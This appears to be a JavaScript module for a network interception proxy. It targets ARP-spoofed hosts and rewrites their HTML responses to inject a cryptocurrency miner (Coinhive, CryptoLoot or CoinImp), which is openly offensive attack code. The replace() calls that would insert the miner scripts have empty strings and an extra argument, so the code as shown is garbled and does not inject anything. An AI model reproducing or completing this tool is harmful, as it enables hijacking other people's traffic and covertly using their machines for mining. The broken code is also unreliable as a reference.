var green = "\033[32m",
reset = "\033[0m"
function onLoad() {
logStr = "Javascript Crypto Miner loaded.\n" +
"\n Miner: " + green + env["cryptominer.name"].charAt(0).toUpperCase() + env["cryptominer.name"].slice(1) + reset +
"\n Targets: " + green + env["arp.spoof.targets"] + reset + "\n"
log(logStr);
}
function onResponse(req, res) {
if( res.ContentType.indexOf('text/html') == 0 ){
var body = res.ReadBody();
if( body.indexOf('') != -1 ) {
switch(env["cryptominer.name"]) {
case "coinhive":
res.Body = body.replace(
'',
'',
''
);
break;
case "cryptoloot":
res.Body = body.replace(
'',
'',
''
);
break;
case "coinimp":
res.Body = body.replace(
'',
'',
''
);
break;
}
}
}
}